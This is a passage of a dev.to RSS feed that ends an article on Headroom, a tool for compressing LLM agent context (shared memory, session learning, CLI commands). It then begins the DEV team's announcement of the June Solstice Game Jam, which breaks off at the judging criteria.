&lt;p&gt;This exposes three MCP tools: &lt;code&gt;headroom_compress&lt;/code&gt;, &lt;code&gt;headroom_retrieve&lt;/code&gt;, and &lt;code&gt;headroom_stats&lt;/code&gt;. Your AI agent can call them directly as part of its tool loop.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;crossagent-memory&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#crossagent-memory&quot;&gt;
  &lt;/a&gt;
  Cross-Agent Memory
&lt;/h2&gt;

&lt;p&gt;One underrated feature: shared memory across agents. If you&#39;re running Claude and Codex side by side, Headroom can give them a common compressed context store with automatic deduplication.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headroom.memory&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SharedContext&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SharedContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;current_task&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;task_description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# In a different agent&#39;s session
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;task&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;current_task&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This is useful in multi-agent pipelines where you&#39;d otherwise be passing the same context repeatedly.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;headroom-learn&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#headroom-learn&quot;&gt;
  &lt;/a&gt;
  headroom learn
&lt;/h2&gt;

&lt;p&gt;There&#39;s also a &lt;code&gt;headroom learn&lt;/code&gt; command that mines failed agent sessions and writes corrections back to &lt;code&gt;CLAUDE.md&lt;/code&gt;, &lt;code&gt;AGENTS.md&lt;/code&gt;, or &lt;code&gt;GEMINI.md&lt;/code&gt;. The idea is that your agent accumulates a record of what went wrong and avoids repeating the same mistakes.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;headroom learn
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;It parses session logs, extracts failure patterns, and appends structured learnings to your project&#39;s agent config files.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;check-your-savings&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#check-your-savings&quot;&gt;
  &lt;/a&gt;
  Check Your Savings
&lt;/h2&gt;

&lt;p&gt;After using Headroom for a while:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;headroom stats
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This shows you cumulative compression ratios, tokens saved, and per-content-type breakdowns.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;is-it-worth-trying&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#is-it-worth-trying&quot;&gt;
  &lt;/a&gt;
  Is It Worth Trying?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Yes, if you:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Run AI coding agents (Claude Code, Cursor, Codex, Aider) regularly and pay for tokens&lt;/li&gt;
&lt;li&gt;Build pipelines where tool outputs and RAG chunks are large and repetitive&lt;/li&gt;
&lt;li&gt;Want cross-agent shared memory without building it yourself&lt;/li&gt;
&lt;li&gt;Need reversible compression — Headroom never discards originals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Skip it, or approach carefully, if you:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only use a single provider&#39;s built-in context management and don&#39;t need more&lt;/li&gt;
&lt;li&gt;Work in sandboxed or restricted environments where running a local process is an issue&lt;/li&gt;
&lt;li&gt;Are on a very simple single-turn setup where context bloat isn&#39;t a real problem yet&lt;/li&gt;
&lt;/ul&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;quick-reference&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#quick-reference&quot;&gt;
  &lt;/a&gt;
  Quick Reference
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Install&lt;/span&gt;
pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;headroom-ai[all]&quot;&lt;/span&gt;
npm &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;headroom-ai

&lt;span class=&quot;c&quot;&gt;# Wrap an agent&lt;/span&gt;
headroom wrap claude

&lt;span class=&quot;c&quot;&gt;# Run as proxy&lt;/span&gt;
headroom proxy &lt;span class=&quot;nt&quot;&gt;--port&lt;/span&gt; 8787

&lt;span class=&quot;c&quot;&gt;# Install as MCP server&lt;/span&gt;
headroom mcp &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Check savings&lt;/span&gt;
headroom stats

&lt;span class=&quot;c&quot;&gt;# Learn from failures&lt;/span&gt;
headroom learn
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;GitHub: &lt;a href=&quot;https://github.com/chopratejas/headroom&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;chopratejas/headroom&lt;/a&gt;  &lt;/p&gt;


            </description><link>https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06</link><guid isPermaLink="false">https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06</guid><pubDate>Thu, 04 Jun 2026 09:15:08 GMT</pubDate><author>ArshTechPro</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb5za0wopz28xkdidg8rp.png" type="image/jpeg"></enclosure><category>ai</category><category>agents</category><category>agentskills</category><category>programming</category></item><item><title>Join the June Solstice Game Jam: $1,000 in prizes!</title><description>&lt;p&gt;&lt;mark&gt;&lt;strong&gt;Winners Announced!&lt;/strong&gt;&lt;/mark&gt;&lt;/p&gt;


&lt;div class=&quot;ltag__link--embedded&quot;&gt;
  &lt;div class=&quot;crayons-story &quot; data-feed-content-id=&quot;4108558&quot; data-content-user-id=&quot;264&quot;&gt;
  &lt;a href=&quot;https://dev.to/devteam/congrats-to-the-june-solstice-game-jam-winners-46c0&quot; aria-labelledby=&quot;article-link-4108558&quot; class=&quot;crayons-story__hidden-navigation-link&quot;&gt;Congrats to the June Solstice Game Jam Winners!&lt;/a&gt;


  &lt;div class=&quot;crayons-story__body crayons-story__body-full_post&quot;&gt;
    &lt;div class=&quot;crayons-story__top&quot;&gt;
      &lt;div class=&quot;crayons-story__meta&quot;&gt;
        &lt;div class=&quot;crayons-story__author-pic&quot;&gt;
          &lt;a class=&quot;crayons-logo crayons-logo--l&quot; href=&quot;https://dev.to/devteam&quot;&gt;
            &lt;img alt=&quot;The DEV Team logo&quot; src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F1%2Fd908a186-5651-4a5a-9f76-15200bc6801f.jpg&quot; class=&quot;crayons-logo__image&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;800&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
          &lt;/a&gt;

          &lt;a href=&quot;https://dev.to/jess&quot; class=&quot;crayons-avatar  crayons-avatar--s absolute -right-2 -bottom-2 border-solid border-2 border-base-inverted  &quot;&gt;
            &lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F264%2Fb75f6edf-df7b-406e-a56b-43facafb352c.jpg&quot; alt=&quot;jess profile&quot; class=&quot;crayons-avatar__image&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;400&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href=&quot;https://dev.to/jess&quot; class=&quot;crayons-story__secondary fw-medium m:hidden&quot;&gt;
              Jess Lee
            &lt;/a&gt;
            &lt;div class=&quot;profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block&quot;&gt;
              &lt;button id=&quot;story-author-preview-trigger-4108558&quot; aria-controls=&quot;story-author-preview-content-4108558&quot; class=&quot;profile-preview-card__trigger fs-s p-1 -ml-1 -my-2 crayons-btn crayons-btn--ghost&quot; aria-label=&quot;Jess Lee profile details&quot;&gt;
                Jess Lee
                &lt;a style=&quot;display: inline;&quot; href=&quot;https://dev.to/++&quot;&gt;&lt;img alt=&quot;Subscriber&quot; class=&quot;subscription-icon&quot; src=&quot;https://assets.dev.to/assets/subscription-icon-805dfa7ac7dd660f07ed8d654877270825b07a92a03841aa99a1093bd00431b2.png&quot; width=&quot;166&quot; height=&quot;102&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;
              &lt;/button&gt;
              &lt;div id=&quot;story-author-preview-content-4108558&quot; class=&quot;profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0&quot; style=&quot;border-top-color: var(--card-color);&quot; data-repositioning-dropdown=&quot;true&quot; data-testid=&quot;profile-preview-card&quot;&gt;
                &lt;div class=&quot;gap-4 grid&quot;&gt;
                  &lt;div class=&quot;-mt-4&quot;&gt;
                    &lt;a href=&quot;https://dev.to/jess&quot; class=&quot;flex&quot;&gt;
                      &lt;span class=&quot;crayons-avatar crayons-avatar--xl mr-2 shrink-0&quot;&gt;
                        &lt;img src=&quot;https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F264%2Fb75f6edf-df7b-406e-a56b-43facafb352c.jpg&quot; class=&quot;crayons-avatar__image&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;400&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
                      &lt;/span&gt;
                      &lt;span class=&quot;crayons-link crayons-subtitle-2 mt-5&quot;&gt;Jess Lee&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class=&quot;print-hidden&quot;&gt;
                    &lt;button class=&quot;crayons-btn follow-action-button whitespace-nowrap follow-user w-100&quot; data-info=&quot;{&amp;quot;style&amp;quot;:&amp;quot;full&amp;quot;,&amp;quot;id&amp;quot;:264,&amp;quot;className&amp;quot;:&amp;quot;User&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Jess Lee&amp;quot;}&quot;&gt;
                      Follow
                    &lt;/button&gt;
                  &lt;/div&gt;
                  &lt;div class=&quot;author-preview-metadata-container&quot; data-author-id=&quot;264&quot;&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

            &lt;span&gt;
              &lt;span class=&quot;crayons-story__tertiary fw-normal&quot;&gt; for &lt;/span&gt;&lt;a href=&quot;https://dev.to/devteam&quot; class=&quot;crayons-story__secondary fw-medium&quot;&gt;The DEV Team&lt;/a&gt;
            &lt;/span&gt;
          &lt;/div&gt;
          &lt;a href=&quot;https://dev.to/devteam/congrats-to-the-june-solstice-game-jam-winners-46c0&quot; class=&quot;crayons-story__tertiary fs-xs&quot;&gt;&lt;time datetime=&quot;2026-07-09T20:23:01Z&quot;&gt;Jul 9&lt;/time&gt;&lt;span class=&quot;time-ago-indicator-initial-placeholder&quot; data-seconds=&quot;1783628581&quot;&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class=&quot;crayons-story__indention&quot;&gt;
      &lt;h2 class=&quot;crayons-story__title crayons-story__title-full_post&quot;&gt;
        &lt;a href=&quot;https://dev.to/devteam/congrats-to-the-june-solstice-game-jam-winners-46c0&quot; data-preload-image=&quot;https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6slfo9r42iclob37v6hl.png&quot; id=&quot;article-link-4108558&quot;&gt;
          Congrats to the June Solstice Game Jam Winners!
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class=&quot;crayons-story__tags&quot;&gt;
            &lt;a class=&quot;crayons-tag  crayons-tag--monochrome &quot; style=&quot;
        --tag-bg: rgba(132, 206, 249, 0.10);
        --tag-prefix: #84CEF9;
        --tag-bg-hover: rgba(132, 206, 249, 0.10);
        --tag-prefix-hover: #84CEF9;
      &quot; href=&quot;https://dev.to/t/devchallenge&quot;&gt;&lt;span class=&quot;crayons-tag__prefix&quot;&gt;#&lt;/span&gt;devchallenge&lt;/a&gt;
            &lt;a class=&quot;crayons-tag  crayons-tag--monochrome &quot; style=&quot;
        --tag-bg: rgba(250, 177, 35, 0.10);
        --tag-prefix: #FAB123;
        --tag-bg-hover: rgba(250, 177, 35, 0.10);
        --tag-prefix-hover: #FAB123;
      &quot; href=&quot;https://dev.to/t/gamechallenge&quot;&gt;&lt;span class=&quot;crayons-tag__prefix&quot;&gt;#&lt;/span&gt;gamechallenge&lt;/a&gt;
            &lt;a class=&quot;crayons-tag  crayons-tag--monochrome &quot; style=&quot;
        --tag-bg: rgba(51, 132, 217, 0.10);
        --tag-prefix: #3384d9;
        --tag-bg-hover: rgba(51, 132, 217, 0.10);
        --tag-prefix-hover: #3384d9;
      &quot; href=&quot;https://dev.to/t/gamedev&quot;&gt;&lt;span class=&quot;crayons-tag__prefix&quot;&gt;#&lt;/span&gt;gamedev&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class=&quot;crayons-story__bottom&quot;&gt;
        &lt;div class=&quot;crayons-story__details&quot;&gt;
          &lt;a href=&quot;https://dev.to/devteam/congrats-to-the-june-solstice-game-jam-winners-46c0&quot; class=&quot;crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left&quot; data-reaction-count=&quot;&quot; data-reactable-id=&quot;4108558&quot; aria-label=&quot;Add a comment to post - Congrats to the June Solstice Game Jam Winners!&quot;&gt;
            &lt;div class=&quot;multiple_reactions_aggregate&quot;&gt;
              &lt;span class=&quot;multiple_reactions_icons_container&quot; dir=&quot;rtl&quot;&gt;
                  &lt;span class=&quot;crayons_icon_container&quot;&gt;
                    &lt;img src=&quot;https://assets.dev.to/assets/exploding-head-daceb38d627e6ae9b730f36a1e390fca556a4289d5a41abb2c35068ad3e2c4b5.svg&quot; width=&quot;24&quot; height=&quot;24&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
                  &lt;/span&gt;
                  &lt;span class=&quot;crayons_icon_container&quot;&gt;
                    &lt;img src=&quot;https://assets.dev.to/assets/multi-unicorn-b44d6f8c23cdd00964192bedc38af3e82463978aa611b4365bd33a0f1f4f3e97.svg&quot; width=&quot;24&quot; height=&quot;24&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
                  &lt;/span&gt;
                  &lt;span class=&quot;crayons_icon_container&quot;&gt;
                    &lt;img src=&quot;https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg&quot; width=&quot;24&quot; height=&quot;24&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class=&quot;aggregate_reactions_counter&quot;&gt;5&lt;span class=&quot;hidden s:inline&quot;&gt;&amp;nbsp;reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href=&quot;https://dev.to/devteam/congrats-to-the-june-solstice-game-jam-winners-46c0#comments&quot; class=&quot;crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center&quot; aria-label=&quot;Add a comment to post - Congrats to the June Solstice Game Jam Winners!&quot;&gt;
              &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;24&quot; height=&quot;24&quot; role=&quot;img&quot; aria-labelledby=&quot;a5m38ndio3dh60fyjn76r7nf1pgkgt6q&quot; class=&quot;crayons-icon&quot;&gt;&lt;title id=&quot;a5m38ndio3dh60fyjn76r7nf1pgkgt6q&quot;&gt;Comments&lt;/title&gt;
&lt;path d=&quot;M10.5 5h3a6 6 0 110 12v2.625c-3.75-1.5-9-3.75-9-8.625a6 6 0 016-6zM12 15.5h1.5a4.501 4.501 0 001.722-8.657A4.5 4.5 0 0013.5 6.5h-3A4.5 4.5 0 006 11c0 2.707 1.846 4.475 6 6.36V15.5z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;

              &lt;span class=&quot;hidden s:inline&quot;&gt;Add&amp;nbsp;Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;crayons-story__save&quot;&gt;
          &lt;small class=&quot;crayons-story__tertiary fs-xs mr-2&quot;&gt;
            2 min read
          &lt;/small&gt;
            &lt;button type=&quot;button&quot; id=&quot;article-save-button-4108558&quot; class=&quot;c-btn c-btn--icon-alone bookmark-button&quot; data-reactable-id=&quot;4108558&quot; data-article-author-id=&quot;264&quot; aria-label=&quot;Save post Congrats to the June Solstice Game Jam Winners! to reading list&quot; title=&quot;Save post Congrats to the June Solstice Game Jam Winners! to reading list&quot;&gt;
              &lt;span class=&quot;bm-initial crayons-icon c-btn__icon&quot;&gt;
                &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;24&quot; height=&quot;24&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M6.75 4.5h10.5a.75.75 0 01.75.75v14.357a.375.375 0 01-.575.318L12 16.523l-5.426 3.401A.375.375 0 016 19.607V5.25a.75.75 0 01.75-.75zM16.5 6h-9v11.574l4.5-2.82 4.5 2.82V6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;

              &lt;/span&gt;
              &lt;span class=&quot;bm-success crayons-icon c-btn__icon&quot;&gt;
                &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;24&quot; height=&quot;24&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M6.75 4.5h10.5a.75.75 0 01.75.75v14.357a.375.375 0 01-.575.318L12 16.523l-5.426 3.401A.375.375 0 016 19.607V5.25a.75.75 0 01.75-.75z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;

              &lt;/span&gt;
            &lt;/button&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;



&lt;hr&gt;

&lt;p&gt;We&#39;re excited to kick off the &lt;strong&gt;&lt;a href=&quot;https://dev.to/challenges/june-game-jam-2026-06-03&quot;&gt;June Solstice Game Jam&lt;/a&gt;&lt;/strong&gt;, running from June 3 through June 21 and ending right on the solstice itself!&lt;/p&gt;

&lt;p&gt;Whether you&#39;re in the northern hemisphere marking the longest day of the year or in the southern hemisphere observing the shortest, the solstice is a global moment of transition. June is also a profound month for identity, history and community in the U.S. and across the world.&lt;/p&gt;

&lt;p&gt;We are celebrating authenticity and LGBTQIA+ history with Pride month, which also happens to be the birth month of &lt;a href=&quot;https://dev.to/devteam/happy-111th-birthday-alan-turing-5271&quot;&gt;Alan Turing&lt;/a&gt; – the famous computer scientist behind the “Turing Test” for artificial intelligence who was persecuted for being gay. June also marks &lt;a href=&quot;https://dev.to/devteam/celebrating-juneteenth-11cd&quot;&gt;Juneteenth&lt;/a&gt;, a day to celebrate an important milestone towards the freedom and liberation of Black Americans. It’s a time dedicated to reflection, honoring resilience, and amplifying &lt;a href=&quot;https://www.youtube.com/watch?v=SQlEpjZXfRU&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Black joy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But June isn&#39;t only about deep history! This month brings the electric teamwork and high stakes of the World Cup, bringing the entire planet together in the spirit of play. And if sports aren&#39;t your thing, June also serves up delightfully specific celebrations like International Sushi Day and National Flip-Flop Day.&lt;/p&gt;

&lt;p&gt;Whether you want to build something deeply meaningful or delightfully goofy, this jam is your canvas. We’ve got some great prizes for five lucky winners. &lt;/p&gt;

&lt;p&gt;Let&#39;s get to it.&lt;/p&gt;


&lt;div class=&quot;crayons-card c-embed&quot;&gt;

  
&lt;h2&gt;
  &lt;a name=&quot;our-prompt&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#our-prompt&quot;&gt;
  &lt;/a&gt;
  Our Prompt
&lt;/h2&gt;

&lt;p&gt;The June solstice arrives on June 21 — the longest day of the year for half the world, and the shortest for the other half. &lt;strong&gt;Build a game inspired by the solstice or any other June celebration:&lt;/strong&gt; think Pride, Juneteenth, light and darkness, the passage of time, and anything else that comes to mind.&lt;/p&gt;

&lt;p&gt;Our theme is intentionally broad to allow room for your creativity to shine. Please interpret this prompt however you&#39;d like. A platformer where daylight is your resource? A puzzle game that resets at midnight? A narrative about reaching a turning point? Any angle is fair game!&lt;/p&gt;

&lt;hr&gt;
&lt;h3&gt;
  &lt;a name=&quot;additional-prize-categories&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#additional-prize-categories&quot;&gt;
  &lt;/a&gt;
  Additional Prize Categories
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Best Ode to Alan Turing&lt;/strong&gt;: We&#39;re thinking algorithms, code breaking, and artificial intelligence. Honor the father of modern computing in your game&#39;s mechanics, narrative, or design.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Best Google AI Usage&lt;/strong&gt;: Tell us how you leveraged Google AI for this submission. Did you build with Antigravity, experiment in Google AI Studio, or use the Gemini CLI? Or is there a Google AI product embedded in your build such as the Gemini API or any Google Cloud product such as Cloud Run? Tell us all about your experience!&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;


&lt;h2&gt;
  &lt;a name=&quot;judging-criteria&quot; href=&quot;https://dev.to/devteam/join-the-june-solstice-game-jam-1000-in-prizes-3jla#judging-criteria&quot;&gt;
  &lt;/a&gt;
  Judging Criteria
